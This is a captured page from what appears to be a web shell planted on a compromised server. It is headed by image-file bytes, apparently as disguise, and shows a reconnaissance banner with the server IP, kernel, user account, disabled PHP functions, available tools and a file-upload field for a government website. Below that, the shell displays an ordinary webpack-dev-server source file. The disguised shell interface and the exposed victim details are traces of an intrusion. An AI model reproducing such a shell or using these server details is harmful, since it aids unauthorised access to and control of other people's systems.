ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.144.102.204 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/webpack-dev-server/lib/utils/ |
Upload File : |
'use strict'; const open = require('open'); const isAbsoluteUrl = require('is-absolute-url'); function runOpen(uri, options, logger) { // https://github.com/webpack/webpack-dev-server/issues/1990 const defaultOpenOptions = { wait: false }; const openTasks = []; const getOpenTask = (item) => { if (typeof item === 'boolean') { return [{ target: uri, options: defaultOpenOptions }]; } if (typeof item === 'string') { return [{ target: item, options: defaultOpenOptions }]; } let targets; if (item.target) { targets = Array.isArray(item.target) ? item.target : [item.target]; } else { targets = [uri]; } return targets.map((target) => { const openOptions = defaultOpenOptions; if (item.app) { openOptions.app = item.app; } return { target, options: openOptions }; }); }; if (Array.isArray(options)) { options.forEach((item) => { openTasks.push(...getOpenTask(item)); }); } else { openTasks.push(...getOpenTask(options)); } return Promise.all( openTasks.map((openTask) => { let openTarget; if (openTask.target) { if (typeof openTask.target === 'boolean') { openTarget = uri; } else { openTarget = isAbsoluteUrl(openTask.target) ? openTask.target : new URL(openTask.target, uri).toString(); } } else { openTarget = uri; } return open(openTarget, openTask.options).catch(() => { logger.warn( `Unable to open "${openTarget}" page${ // eslint-disable-next-line no-nested-ternary openTask.options.app ? Array.isArray(openTask.options.app) ? ` in "${ openTask.options.app[0] }" app with "${openTask.options.app .slice(1) .join(' ')}" arguments` : ` in "${openTask.options.app}" app` : '' }. If you are running in a headless environment, please do not use the "open" option or related flags like "--open", "--open-target", and "--open-app".` ); }); }) ); } module.exports = runOpen;